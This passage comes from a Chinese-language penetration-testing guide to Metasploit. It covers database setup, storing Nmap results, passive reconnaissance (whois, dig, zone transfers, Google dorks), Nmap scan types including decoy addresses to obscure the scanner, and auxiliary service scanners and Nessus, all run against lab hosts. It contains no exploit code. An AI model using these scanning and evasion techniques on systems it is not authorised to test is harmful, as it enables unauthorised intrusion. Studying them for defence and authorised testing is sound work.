PostgreSQL是默认使用的数据库，如果需要切换数据库驱动器，可以执行下面的命令。

Msf> db_driver mysql

[*]Active Driver: Mysql

这一命令将活跃的数据库驱动器切换到 MySQL，但本书中主要使用PostgreSQL数据库。

在最近一些版本的Metasploit中，Rapid7已经不再支持MySQL数据库，因此db_driver命令将不再有效，PostgreSQL数据库是Metasploit框架唯一支持的数据库。

怎样工作

要将数据库驱动器连接到 msfconsle，可以使用db_connec 命令，下面给出的是该命令的语法示例。

db_connect username:password@hostIP:port number/database_name

下面，我们使用刚才从database.yml文件中记下来的用户名、口令、数据库名、端口号的默认值。

msf > db_connect msf3:8b826ac0@127.0.0.1:7175/msf3

成功执行这一命令后，即完成了数据库的配置过程。

更多

下面介绍建立数据库过程中一些相关的重要问题。

连接数据库时出错

建立数据库连接时可能会出错，出错时记住以下两点。

使用db_driver和db_connect命令进行检查，确认在使用正确的数据库组合。

使用tart/etc/init.d启动数据库服务，并尝试进行重新连接。

如果错误仍然没有解决，可以使用下面命令重装数据库及相关支持库。

msf> gem install postgres

msf> apt-get install libpq-dev

删除数据库

用户可以在任何时候丢弃已经创建的数据库并重新开始存储新的结果，下面展示的是删除数据库的命令示例。

msf> db_destroy msf3:8b826ac0@127.0.0.1:7175/msf3

Database "msf3" dropped.

msf>

1.9 使用数据库存储渗透测试结果

下面学习如何使用已配置的数据库存储渗透测试过程中生成的各种结果。

准备

如果前面的操作都已经成功完成，接下来就已经可以使用创建的数据库存储结果。在msfconsole中输入help命令，快速了解一下有哪些可用的数据库命令。

怎样实现

观察下面的简单示例。db_nmap 命令可以直接将端口扫描结果和相关信息存储到数据库中，启动Nmap对目标机器进行扫描，会得到怎样的结果。

msf > db_nmap 192.168.56.102

[*] Nmap: Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-04 20:03

IST

[*] Nmap: Nmap scan report for 192.168.56.102

[*] Nmap: Host is up (0.0012s latency)

[*] Nmap: Not shown: 997 closed ports

[*] Nmap: PORT STATE SERVICE

[*] Nmap: 135/tcp open msrpc

[*] Nmap: 139/tcp open netbios-ssn

[*] Nmap: 445/tcp open microsoft-ds

[*] Nmap: MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)

[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 1.94 seconds

从结果可以看到，Nmap生成了一些扫描结果，并自动地将结果存储到当前正在使用的数据库中。

我们可以在Nmap扫描时使用-oX参数，以便以XML格式存储扫描结果，这有助于在其他第三方软件中导入扫描结果，比如后面章节中将使用的Dardis框架。

msf > nmap 192.168.56.102 –A -oX report

[*] exec: nmap 192.168.56.102 –A -oX report

Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-05 11:57 IST

Nmap scan report for 192.168.56.102

Host is up (0.0032s latency)

Not shown: 997 closed ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 0.76 seconds

这里，report是存储扫描结果的文件名，在后面讲解其他内容时会用到。

怎样工作

db_nmap实质上创建了一个SQL查询，涉及多项扫描内容，扫描完成后，就会将各种相关值存入到数据库中。以电子表格形式存储扫描结果的便利性，使其很更容易与第三方工具进行结果共享。

1.10 分析数据库中存储的渗透测试结果

在数据库存储测试结果后，下一步工作就是对其进行分析，分析有助于更深入地理解目标系统。根据使用需求的不同，数据库中的测试结果可以长期存储，也可以短期存储。

准备

启动msfconsole，遵循前面介绍的操作步骤，建立数据库连接。可以用数据库存储新的测试结果，也可以用来分析以前存储的结果。可以导入前面Nmap扫描时创建的XML文件，以便对扫描结果进行分析。

怎样实现

尝试一些重要命令，以便对存储结果有更清晰的理解。

上图展示了hosts命令的输出结果。观察可以发现，该命令的输出结果包含了较多内容，表中包含了多列项目。为了更清晰，可以在hosts命令中使用过滤参数，这样就可以只显示和查看需要的内容，请看下面的命令示例。

msf > hosts -c address, os_name

Hosts

=====

address　os_name

-------　------

192.168.56.1

192.168.56.101

192.168.56.102　Microsoft Windows

192.168.56.103　Linux

msf > services：用于查看目标机器上运行的服务。

msf > services

Services

========

host　port　proto　name　state　info

----　----　-----　----　-----　----

192.168.56.101　111　tcp rpcbind　open

192.168.56.102　135　tcp msrpc　open

192.168.56.102　139　tcp netbios-ssn　open

192.168.56.102　445　tcp microsoft-ds　open

192.168.56.102　135　tcp msrpc　open　Microsoft Windows

RPC

msf > vulns：该命令列出数据库中各主机上存在的所有漏洞。

msf > db_autopwn：这是一条功能强大的命令，用于自动化实现对数据库中目标主机的攻击渗透。该命令需要对攻击渗透过程有更多的理解，因此后面将会对这一命令进行分析。

怎样工作

分析过程很简单，并且通过使用各种过滤参数可轻松获取需要的结果，前面也展示了如何读取数据库输出及如何对其进行高效管理。最后两条命令vulns与db_autopwn是攻击渗透相关的命令，后面章节中会再对其进行讲解。

第2章 信息收集与扫描

本章讲解下述内容：

● 被动式信息收集1.0版——传统方式；

● 被动式信息收集2.0版——升级；

● 端口扫描——Nmap方式；

● 探索用于扫描的辅助模块；

● 使用辅助模块进行目标服务扫描；

● 使用Nessus进行漏洞扫描；

● 使用NeXopse进行扫描；

● 使用Dradis框架共享扫描信息。

2.1 介绍

信息收集是渗透测试中的第一个基本步骤，该步骤的主要目标是尽可能多地发现有关目标机器的信息。获取的信息越多，对目标进行成功渗透的概率就越大。在信息收集阶段，主要的关注点是收集目标机器相关的实际信息，例如IP地址、可用服务、开放端口等。在整个渗透测试进程中，这些信息扮演着重要角色。信息收集基本上要用到3种类型的技术。

● 被动式信息收集

● 主动式信息收集

● 社会工程学

首先对这3种技术进行一个简单快速的解读。

● 被动式信息收集：使用该技术进行信息收集时，不需要与目标机器本身建立任何物理连接，而是使用其他信息源来获取目标机器的有关信息，例如使用whois查询、Nslookup 命令等方式。假定目标是一个在线的 Web 应用，那么使用简单的 whois查询可以获取该web应用的大量信息，例如IP地址、域、子域、服务器位置、托管服务器等。这些信息在渗透测试中是非常有用的，有助于拓宽对目标机器的渗透路径。

● 主动式信息收集：使用该技术时，需要与目标机器建立逻辑连接来获取信息。这种技术能获取更多的信息，可作为理解目标机器的安全性的参考依据。在主动式信息收集技术中，应用最为广泛的是对目标机器进行端口扫描，主要关注的是目标机器上有哪些开放端口，运行了哪些可用服务。

● 社会工程学：该类型的信息收集技术与被动式信息收集有类似之处，但主要依赖的是人为错误和以打印输出、电话交谈或不正确的电子邮件 ID 等形式泄露的信息。利用这种技术的方法种类繁多，因此，社会工程学本身就可以成为一个单独的领域或范畴。例如，黑客可以注册与发音错误类似的域名，并建立邮件服务器用来收集出错的电子邮件，这些领域也就是众所周知的以假乱真的领域，也就是双面恶魔。

在本章中，将详细分析用于收集的各种类型被动式与主动式技术。具体安排是，前两节将分析被动式信息收集方式中最常用的和最常被忽略的技术，接下来集中介绍怎样通过端口扫描来获取目标机器信息。Metasploit内有内置的扫描功能，同时整合了一些第三方工具以此来进一步增强端口扫描功能，我们将介绍内置的扫描器和一些工作在Metasploit框架之上的流行的第三方扫描器。下面我们就开始介绍对目标机器的信息收集过程。

2.2 被动式信息收集1.0——传统方式

下面介绍用于信息收集的一些最常用技术。

准备

whois、Dig和Nslookup是获取目标初始信息的3个最基本、最简单的步骤，这些命令都属于被动式信息收集技术，因此不需要建立与目标机器之间的任何连接。这些命令可以直接在BackTrack终端执行。打开终端窗口，准备下一步操作。

怎样实现

我们通过一个简单的whois查询开始信息收集，whois是BackTrack中内置的一条命令，可以在终端直接运行。

我们对www.packtpub.com进行简单的whois查询，并分析其输出结果，由于输出内容很多，这里只关注相关的部分。

root@bt:~# whois www.packtpub.com

Domain Name: PACKTPUB.COM

　 Registrar: EASYDNS TECHNOLOGIES, INC.

　 Whois Server: whois.easydns.com

　 Referral URL: http://www.easydns.com

　 Name Server: NS1.EASYDNS.COM

　 Name Server: NS2.EASYDNS.COM

　 Name Server: NS3.EASYDNS.ORG

　 Name Server: NS6.EASYDNS.NET

　 Name Server: REMOTE1.EASYDNS.COM

　 Name Server: REMOTE2.EASYDNS.COM

　 Status: clientTransferProhibited

　 Status: clientUpdateProhibited

　 Updated Date: 09-feb-2011

　 Creation Date: 09-may-2003

　 Expiration Date: 09-may-2016

从上面的信息中可以看到，简单的whois查询结果展示了目标Web网站很多的相关信息，包括DNS服务器、创建日期、过期时间等。由于这些信息是从第三方而非从目标获取的，因此称之为被动式信息收集技术。

另一种被动式获取信息的方式是查询DNS记录，最常见的是使用dig命令，这条命令在UNIX机器上默认包含，下面分析对www.packtpub.com的dig查询。

root@bt:~# dig www.packtpub.com

; <<>> DiG 9.7.0-P1 <<>> www.packtpub.com

;; global options: +cmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 1583

;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 6, ADDITIONAL: 1

;; QUESTION SECTION:

;www.packtpub.com.　IN　A

;; ANSWER SECTION:

www.packtpub.com.　1200IN　CNAME　packtpub.com.

packtpub.com.　1200　IN　A　83.166.169.228

;; AUTHORITY SECTION:

packtpub.com.　1200　IN　NS　remote1.easydns.com.

packtpub.com.　1200　IN　NS　ns2.easydns.com.

packtpub.com. 1200　IN　NS　ns6.easydns.net.

packtpub.com.　1200 IN NS　ns3.easydns.org.

packtpub.com.　1200　IN　NS　ns1.easydns.com.

packtpub.com.　1200　IN　NS　remote2.easydns.com.

;; ADDITIONAL SECTION:

ns3.easydns.org.　5951　IN　A　64.68.192.10

从上面的信息中可以看出，查询 DNS 记录展示了目标的更多信息。dig 命令可用于实现主机名和IP地址之间的双向解析，此外，dig命令也可以用于从名服务器上收集版本信息，这些信息对于目标主机的攻击渗透可以起到一定的辅助作用。还有，识别主DNS服务器（或者有些情况下需要识别主邮件服务器或托管服务器）具有一定的困难，这时就需要使用Nslookup命令。Nslookup命令几乎和dig命令一样灵活，但默认提供了用于识别主服务器的更简单的方法，例如识别邮件服务器或DNS服务器。

root@bt:~# nslookup www.packtpub.com

Server: 　220.226.6.104

Address: 　220.226.6.104#53

Non-authoritative answer:

www.packtpub.com　canonical name = packtpub.com.

Name:　packtpub.com

Address: 83.166.169.228

可以看到Nslookup命令展示了与目标相关的进一步信息，例如IP地址、服务器IP等内容。这些被动式信息收集技术都展示了一些与目标相关的信息，为渗透测试工作提供了便利。

怎样工作

dig命令可用于发现SPF（Sender Policy Framework，发送者策略框架）记录，SPF记录定义了域的邮件发送策略，也就是说，哪些服务器负责发送邮件。不正确的 SPF 记录经常会产生钓鱼邮件或垃圾邮件。

SPF记录是以文本方式发布的，负责确保某个特定域的注册用户或合作伙伴不会遭受钓鱼邮件攻击。Dig查询获取的信息有助于确定目标中是否存在这些问题。

更多方法

下面一起了解更多可用于被动式信息收集的方法。

使用第三方网站

我们已经学习了使用内置命令对目标进行查询并获取信息的方法。实际上还有一种效果同样好的技术可用于执行类似操作，即使用网站，尤其是用于查询的专门网站。这些网站也可以提供目标主机的物理位置、联系方式、管理员电子邮件等信息。

下面两个是有用的网站。

http://who.is

http://www.kloth.net

2.3 被动式信息收集2.0——升级方式

每个安全专业人员都知道前面讨论的这些信息收集技术，但是还有一些技术未被介绍，由于这些技术不太流行而鲜为人知，但实际上可以提供同样的功能。下面的讨论中包括对目标进行更深层次的分析，尽管使用的仍然是被动式收集技术。这些技术不涉及Metasploit的使用，但既然信息收集是渗透测试中的重要环节，我们还是对其进行讨论。

准备

本节将讲解如下3种技术。

● 区域传送：可以使用终端实现。

● SMTP头：该技术需要目标向渗透测试人员发送电子邮件。

● Google dork：一种简单但有用的技术，可通过搜索引擎获取信息。

下面首先从区域传送开始介绍。

怎样实现

区域传送是DNS服务器在多个服务器之间交换某个域的授权记录的一种特殊方法，可用于在主服务器和从服务器之间传送域信息的大块列表。配置不当的DNS服务器会对客户端查询进行响应并提供被查询域的相关信息。

下面的实例中，查询语句 dig @ns1.example.com example.com axfr将返回一个列表，其中包含有一些IP地址及其相应的主机名。

从上图可以看出，本次查询共识别了 10个主机名，out of which eight unique hosts belong to example.com. 同时，主机名的描述性很强，足以清晰地看出在其上运行的服务类型。

分析SMTP是另一种可以获取目标信息的潜在信息源，可以提供邮件服务器及其IP地址、版本等信息。这种方法的唯一不足在于需要有一封从目标所在位置发送的电子邮件才能进行分析。下图展示了从目标主机发送的电子邮件头部信息的部分内容。

对上面的信息进行详细分析后可以判断，邮件服务器的IP地址是83.166.169.248，该邮件服务器使用了ESMTP服务，用户使用了IMAP服务，这些额外的信息对于目标的进一步攻击渗透非常有用。

最后一种技术是 Google dorks，这种方法只在某些场景下适用，但还是很值得一试，因为不去试一下就永远不会知道这种方法能揭示哪些秘密信息。很多时候，Google 搜索者会通过Internet访问而看到目标服务器上本来用于内部使用的特定文件和文档，并可以在搜索结果中对其进行索引。利用一些 Google 搜索技巧，比如在搜索结果中结合使用 site 与fletype关键字，可以找到一些有趣的结果。

比如在Google中进行以下查询。

www.target .com filetype:xls

www.target.com filetype:pdf

site:www.target.com filetype:db

类似地，可以尝试其他几种不同的组合方式从Google搜索中挖掘一些结果。

怎样工作

Dig查询返回的数据基本上是由目标IP或域在注册时的所用者提供的。区域传送信息被特别地提供给 DNS 服务器，以便建立起已注册域的正确映射关系。dig 查询有助于取回这种信息。SMTP头部是电子邮件中原始的数据部分，Since it is the main data representation of e-mails，因此其中包含了电子邮件发送者的大量信息。

Google dorks本身并不包含什么信息，只是Google搜索者索引的各种文件构成的搜索结果。文件在被Google搜索索引后，就可以使用某些特定的搜索类型进行查看。

更多

Google dorks的乐趣

www.jhony.ihackstuff.com网站提供了最广泛的Google dorks指南，从中可以找到Google dorks列表，利用这些技巧，可以获取大量隐藏的目标信息。

2.4 端口扫描—Nmap方式

端口扫描是一种主动式信息收集技术，可以对目标进行直接的操作。端口扫描是一个有趣的信息收集过程，包含了对目标机器更深度的搜索。对安全专业人员而言，Nmap是最强大、最受欢迎的扫描器，其使用方式也包括从初级到高级多个层次，我们将对各种扫描技术进行详细分析。

准备

从Metasploit中启动nmap是容易的。启动msf 控制台，键入nmap，就可以显示Nmap提供的扫描选项列表。

msf > nmap

怎样实现

我们将分析 4 种不同类型的 Nmap 扫描技术，这些扫描类型都对渗透测试非常有用。实际上Nmap提供了许多针对目标的不同扫描方式，但本书只关注TCP connect scan、SYN stealth scan、UDP scan及ACK scan等4种。在一次扫描中，可以结合使用多个不同的扫描选项，以便对目标进行更高级、更复杂的扫描。

下面以实例形式展示几种不同的扫描类型。

TCP connect [-sT]扫描是最基本的，也是Nmap默认使用的扫描类型，遵循TCP协议中“三方握手”过程，并以此检测目标机器上的开放端口。

msf > nmap -sT -p1-10000 192.168.56.102

[*] exec: nmap -sT -p1-10000 192.168.56.102

Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-19 00:03 IST

Nmap scan report for 192.168.56.102

Host is up (0.0058s latency).

Not shown: 9997 closed ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems

从结果可以看到，这种扫描方式传递了–sT 参数，该参数表明了要进行的扫描是 TCP connect scan，–p参数定义了要扫描的端口范围。由于TCP connect scan以“三方握手”为依据，因此一般认为其扫描结果是准确的。

SYN scan [-sS] 被视为一种隐蔽的扫描技术，因为不需要在目标和扫描器之间建立完全的连接，因此也称为半开扫描。下面是SYN扫描示例。

msf > nmap -sS 192.168.56.102

[*] exec: nmap -sS 192.168.56.102

Starting Nnmap 5.51SVN (http://namp.org) at 2011-10-19 00:17 IST

Nmap scan report for 192.168.56.102

Host is up (0.0019s latency).

Not shown: 997 closed ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems

–sS参数表明Nmap要对目标进行SYN scan。TCP connect与SYN这两种扫描方式在大多数情况下是类似的，唯一的区别在于SYN scan更不容易被防火墙和入侵检测系统发现，不过现代的防火墙已足以检测出SYN scan。

UDP scan [-sU]是用于识别目标中开放UDP端口的扫描技术，需要向目标机器发送 0字节的UDP数据包，如果返回的是ICMP端口不可达信息，就表明端口是关闭的，否则就可以判断是开放的。下面是在Metasploi框架中进行UDP扫描的示例。

msf > nmap –sU –p9001 192.168.56.102

上示例中的命令用于检查目标主机192.168.56.102上的UDP端口是否开放。类似地，通过修改-p参数，也可以对完整范围的UDP端口进行扫描。

ACK scan [-sA]是一种比较特别的扫描类型，可以判断端口是否被防火墙过滤。通过向远程端口发送TCP ACK数据帧即可实现。如果目标没有响应，可以判断是被过滤过的端口；如果目标返回的是RST（连接重置）数据包，则可以判断该端口是未被过滤的端口。

msf > nmap -sA 192.168.56.102

[*] exec: nmap -sA 192.168.56.102

Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-19 00:19 IST

Nmap scan report for 192.168.56.102

Host is up (0.0011s latency).

Not shown: 999 filtered ports

PORT　STATE　SERVICE

9001/tcp unfiltered　tor-orport

MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)

上面展示的是对目标进行ACK扫描的结果，从中可以看出，除了9001端口是未被过滤的之外，目标上其他所有端口都已被防火墙过滤。这些信息有助于寻找目标中的弱点，因为对目标中未被过滤的端口进行攻击，成功的几率更高。

怎样实现

通常，渗透测试人员并不会在扫描过程中投入太多精力，但好的扫描过程可以提供大量有用的结果。鉴于扫描收集的信息是执行渗透测试的基础，因此正确掌握扫描类型的相关知识是非常重要的，下面深入讲解之前提到的几种扫描类型。

TCP connect scan是最基本的扫描技术，需要在扫描器和测试端口之间建立完整的连接，可通过操作系统的网络函数实现。其主要过程是，扫描器向目标机器发送一个SYN数据包，如果目标端口是开放的，则向扫描器返回一条ACK消息，之后扫描器再向目标机器返回一条ACK消息，从而在两者之间成功建立连接，称之为“三方握手”过程。该过程启动后连接自动终止。这一技术具有其自身的优点，但很容易被防火墙或入侵检测系统追踪到。

SYN scan是另一种TCP扫描类型，不需要与目标建立完全连接。这种扫描并不使用操作系统的网络函数，而是生成原始IP数据包并对目标响应进行监测。如果目标端口是开放的，则返回一条ACK消息，之后扫描器发送一条RST（连接重置）消息中断连接，因此也称为半开扫描。同时，这种扫描也被认为是一种隐蔽扫描技术，可以防止在配置不当的防火墙或入侵检测系统中产生告警标记。

UDP 扫描是一种无连接的扫描技术，因此不会向扫描器返回响应信息以说明目标是否接收到数据包。如果目标端口是关闭的，则向扫描器返回一条 ICMP 端口不可达消息；如果没有返回消息，则端口被视为开放。但使用该方法可能会产生错误的结果，因为防火墙在设置上可以阻塞数据包，目标机器也就不会生成响应消息，从而导致扫描器将目标端口视为开放。

ACK scan的主要目的是识别过滤端口和非过滤端口，这是一种独特而又方便的扫描技术，有助于发现目标系统的弱点，因为未被过滤端口是易于攻击的目标。但主要缺点是不能识别开放端口，因为该扫描从不与目标建立连接。在ACK scan的结果中只会列出某些端口是过滤的还是非过滤的。将ACK scan与其他扫描类型结合使用，可以得到更好的隐蔽扫描结果。

更多

下面介绍关于nmap扫描的更多知识，以及怎样将不同的扫描类型结合使用。

操作系统与版本检测

除了一般的端口扫描之外，Nmap还提供了一些高级选项，有助于获取更多关于目标的信息。其中应用最广泛的选项是 operating system identifcation [-O]，可用于判断目标主机的操作系统类型，如下例所示。

msf > nmap -O 192.168.56.102

[*] exec: nmap -O 192.168.56.102

Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-19 02:25 IST

Nmap scan report for 192.168.56.102

Host is up (0.0014s latency).

MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)

Device type: general purpose

Running: Microsoft Windows XP|2003

从结果可以看到，Nmap成功地检测出目标机器的操作系统类型。根据操作系统类型，可以更容易找到合适的攻击代码。

另一个广泛使用的Nmap选项是version detection [-sV]。该选项可以与前面讲过的任意扫描类型混合使用，从而获知目标开放端口上运行服务的具体版本。

msf > nmap -sT -sV 192.168.56.102

[*] exec: nmap -sV 192.168.56.102

Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-19 02:27 IST

Nmap scan report for 192.168.56.102

Host is up (0.0011s latency).

Not shown: 997 closed ports

PORT　STATE　SERVICE

VERSION

135/tcp　open　msrpc Microsoft Windows RPC

139/tcp　open　netbios-ssn

445/tcp　open　microsoft-ds Microsoft Windows XP

MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)

Service Info: OS: Windows

从结果可以看到，版本中多了一个额外的版本列信息，其中包含了目标机器上运行服务的不同版本。

增加匿名性

以匿名方式进行扫描是非常重要的。如果不采用安全隐蔽措施进行扫描，防火墙和IDS日志将会揭示扫描者的 IP地址，Nmap中Decoy [-D]选项可以提供这样的功能。

decoy选项不能防止扫描者IP地址被防火墙和IDS记录下来，而是使得扫描行为看起来更加复杂。使用这一选项时，会在日志文件中增加其他扫描源，看起来就像有几个其他攻击者一起对目标机器进行并发扫描一样。所以，如果在扫描时添加两个 decoy IP地址，从日志文件看，请求数据包是从3个不同的IP地址发送的，其中一个是真正的扫描者IP地址，而另外两个是扫描者自己添加的假IP地址，如下例所示。

msf > nmap -sS 192.168.56.102 -D 192.134.24.34,192.144.56.21

这一示例展示了decoy参数的作用，-D参数后面的IP地址是假IP地址，会在目标机器的网络日志文件中和真正的扫描者IP地址一起出现，这会混淆网络管理员，将3个IP地址都误判为假的或欺骗的。然而，过多地使用decoy地址会影响扫描结果，因此建议根据实际需要使用一定数量的decoy地址。

2.5 探索用于扫描的辅助模块

辅助模块是Metasploit框架的内置模块，有助于执行各种类型的任务。辅助模块与攻击代码不同，它运行在渗透测试人员的机器上，并且不提供任何 shell。Metasploit 框架中提供了350多个不同的辅助模块，每个都可以执行一些特定任务，这里只讨论几个扫描器辅助模块。

准备

要使用辅助模块，需要3个简单的步骤。

（1）激活模块：使用use命令将特定模块设置为等待执行命令的活跃状态。

（2）设置规范：使用set命令设置该模块执行所需要的不同参数。

（3）运行模块：完成前两个步骤之后，使用run命令最终执行该模块并生成相应结果。

要了解Metasploit框架中有哪些可用的扫描模块，可以浏览如下地址。

root@bt:~# cd /pentest/exploits/framework3/modules/auxiliary/scanner

使用辅助模块，需要启动msfconsole会话过程。

怎样实现

下面实际操作这些步骤，运行扫描辅助模块。

首先，在Metasploit框架中搜索一下有哪些可用的端口扫描模块。

msf > search portscan

Matching Modules

================

Name　Disclosure Date　Rank　Description

----　----------------　----　----------

auxiliary/scanner/portscan/ack　normal　TCP ACK Firewall Scanner

auxiliary/scanner/portscan/ftpbounce normal　FTP Bounce Port Scanner

auxiliary/scanner/portscan/syn　normal TCP SYN Port Scanner

auxiliary/scanner/portscan/tcp　normal TCP Port Scanner

auxiliary/scanner/portscan/xmas　normal TCP "XMas" Port Scanner

从上述结果中可以看到可用扫描器列表，包含了前面讨论过的基本扫描类型。下面先从简单的SYN scan开始。

怎样工作

下面我们将通过3个步骤使用该模块。

（1）通过下面的命令激活模块。

msf > use auxiliary/scanner/portscan/syn

msf　auxiliary(syn) >

从结果可以看到，命令行提示符已经切换到要使用的模块之下，这也表示该模块现在已处于激活状态。

（2）接下来，使用 show options命令检测，该模块有哪些参数是必需的。

msf　auxiliary(syn) > show options

Module options (auxiliary/scanner/portscan/syn):

Name　Current Setting Required　Description

----　---------------　--------　-----------

BATCHSIZE　256　yes　number of hosts to scan per set

INTERFACE　no　The name of the interface

PORTS　1-10000　yes　Ports to scan

RHOSTS　yes　target address range or CIDR

SNAPLEN　65535　yes　The number of bytes to capture

THREADS　1　yes　The number of concurrent threads

TIMEOUT　500　yes　The reply read timeout in

milliseconds

结果的第一列列出了该模块所需的参数。Required列中的参数是需要传递给该模块的，其中标记为 yes 的参数必须包含实际的值。还可以看出，所有列都包含默认值。RHOSTS包含了待扫描的IP地址范围，需要将其设置为要扫描的目标IP地址。

msf　auxiliary(syn) > set RHOSTS 192.168.56.1

RHOSTS => 192.168.56.1

现在，该模块已经做好对目标 IP进行SYN scan的准备。使用 set命令还可以修改其他值，比如，如果要修改端口范围，就可以使用下面的命令。

msf　auxiliary(syn) > set PORTS 1-500

（3）最后运行该模块，执行其相应操作。

msf　auxiliary(syn) > run

成功运行run命令后，该模块将执行具体的SYN扫描过程并产生相应结果。

更多

下一节中将介绍线程的使用。

线程管理

在辅助模块中设置和管理一定数量的线程，可以极大增强辅助模块的性能。在需要对整个网络或某个IP地址范围进行扫描时，可以提高线程数量，使得扫描过程更快。

msf　auxiliary(syn) > set THREADS 10

2.6 使用辅助模块进行目标服务扫描

下面对某个IP地址范围内或某台单独目标主机上运行的特定服务进行针对性的扫描。有多种基于服务的扫描技术，例如VNC、FTP、SMB等。当需要在目标机器上寻找特定类型服务时，使用辅助模块会更加方便。

准备

下面查看有哪些可用的、基于服务的扫描辅助模块，可以通过下面的路径来查看。

root@bt:~# cd /pentest/exploits/framework3/modules/auxiliary/scanner

root@bt:/pentest/exploits/framework3/modules/auxiliary/scanner# ls

backdoor　emc　ip　mysql　pop3　sap　ssh　vnc

db2　finger　lotus　netbios portscan　sip　telephony

voice

dcerpc　ftp　misc　nfs　postgres　smb　telnet　vxworks

dect　http motorola ntp　rogue　smtp　tftp　x11

discovery　imap　mssql　oracle　rservices　snmp　upnp

从结果可以看到，存在大量的服务扫描模块选项，并在渗透测试时可用。

怎样实现

这些服务扫描模块的使用和其他模块都是类似的，遵循前面讲过的3个步骤。

首先尝试NetBIOS模块，扫描NetBIOS有助于识别Windows操作系统。在下面的示例中，扫描某个区域的网络，找出哪台机器正在运行NetBIOS。

msf > use auxiliary/scanner/netbios/nbname

msf　auxiliary(nbname) > show options

Module options (auxiliary/scanner/netbios/nbname):

Name　Current Setting Required Description

----　---------------　--------　-----------

BATCHSIZE　256　yes　The number of hosts to probe

CHOST　no　The local client address

RHOSTS　yes　The target address range

RPORT　137　yes　The target port

THREADS　1　yes　The number of concurrent threads

msf　auxiliary(nbname) > set RHOSTS 192.168.56.1/24

RHOSTS => 192.168.56.1/24

msf　auxiliary(nbname) > set THREADS 10

THREADS => 10

将RHOSTS设置为扫描整个192.168.56.*地址段，线程数设置为10，接下来运行该模块并对结果进行分析。

msf　auxiliary(nbname) > run

[*] Sending NetBIOS status requests to 192.168.56.0->192.168.56.255 (256hosts)

[*] 192.168.56.1 [DARKLORD-PC] OS:Windows Names:(DARKLORD-PC, WORKGROUP, __MSBROWSE__) Addresses:(192.168.56.1) Mac:08:00:27:00:a8:a3

[*] 192.168.56.103 [SP3] OS:Windows Names:(SP3, WORKGROUP)

Addresses:(10.0.2.15, 192.168.56.103) Mac:08:00:27:4b:65:35

[*] 192.168.56.102 [ABHINAV-5C02603] OS:Windows Names:(ABHINAV-5C02603, WORKGROUP) Addresses:(10.0.2.15, 192.168.56.102) Mac:08:00:27:34:a8:87

[*] Scanned 256 of 256 hosts (100% complete)

该网段中有3台机器正在使用NetBIOS，其各自的MAC地址也已找到。

下面进行另一种服务扫描，找出哪些机器正在运行MySQL数据库服务器，以及它们的具体版本。

msf > use auxiliary/scanner/mysql/mysql_version

msf auxiliary(mysql_version) > show options

Module options (auxiliary/scanner/mysql/mysql_version):

Name　Current Setting Required Description

----　---------------　--------　-----------

RHOSTS　yes　The target address range

RPORT　3306　yes　The target port

THREADS　1　yes　The number of concurrent threads

msf　auxiliary(mysql_version) > set RHOSTS 192.168.56.1/24

RHOSTS => 192.168.56.1/24

msf　auxiliary(mysql_version) > set THREADS 10

THREADS => 10

msf　auxiliary(mysql_version) > run

[*] 192.168.56.102:3306 is running MySQL, but responds with an error: \

x04Host '192.168.56.101' is not allowed to connect to this MySQL server

扫描结果显示，IP地址为192.168.56.102的目标机器正在运行MySQL，但遗憾的是，无法与该服务器建立连接。该示例再次展示了辅助模块的易用性和便利性，并且扫描结果提供了大量有用的信息。

这里建议尝试所有可用的辅助扫描器模块，这样有助于更好地理解目标机器。

怎样工作

辅助模块是为执行特定任务而构建的特殊用途模块。有时，只需要执行某种特定类型的扫描就可以发现服务。比如，MySQL 辅助模块通过探测默认端口（3306）检测 MySQL服务器，该模块还可以检测默认登录方式是否激活。使用者可以对/modules/auxiliary/ scanner.目录下的脚本进行分析，根据需要对其代码进行扩展，也可以重用脚本来构建自己的特定辅助扫描器。

2.7 使用Nessus进行漏洞扫描

前面我们学习了端口扫描的一些基本知识，并使用 Nmap 进行了一些实际操作。在其他几类工具中，也具备了端口扫描功能，使得扫描和信息收集过程得以进一步增强。接下来的内容中，将介绍这几种工具，使用这些工具可对目标进行扫描以发现可用服务和开放端口，进而判定某些特定服务和可用端口上存在的漏洞类型。

Nessus是使用最广泛的漏洞扫描器之一，该工具可对目标中是否存在某些漏洞进行扫描，并生成详细报告。在渗透测试中，Nessus是一个非常有用的工具。读者可使用GUI版本的Nessus，也可以在Metasploit控制台中使用。在本书的示例中，主要是在msfconsole中使用Nessus。

准备

要在msfconsole中使用Nessus，必须先加载Nessus，之后将其与服务器建立连接启动渗透测试过程。

首先，建立测试者的数据库与Metasploit之间的连接，以便存储中间结果。在Metasploit中启动和连接数据库的内容前面已经讲过。成功连接后，接下来的任务就是加载Nessus插件。

怎样实现

（1）要在Metasploit 中连接数据库并加载Nessus，可以执行如下命令。

msf > db_connect msf3:8b826ac0@127.0.0.1:7175/msf3

msf > load nessus

[*] Nessus Bridge for Nessus 4.2.x

[+] Type nessus_help for a command listing

[*] Successfully loaded plugin: nessus

（2）成功加载后，建立其与服务器之间的连接，使用如下命令。

msf > nessus_connect root:toor@localhost ok

[*] Connecting to https://127.0.0.1:8834/ as root

[*] Authenticated

在上述命令中，命令OK是额外的参数，用于确保Nessus服务器运行在可信网络中。

在Nessus中，可以使用nessus_user_list命令检查有哪些可用用户。

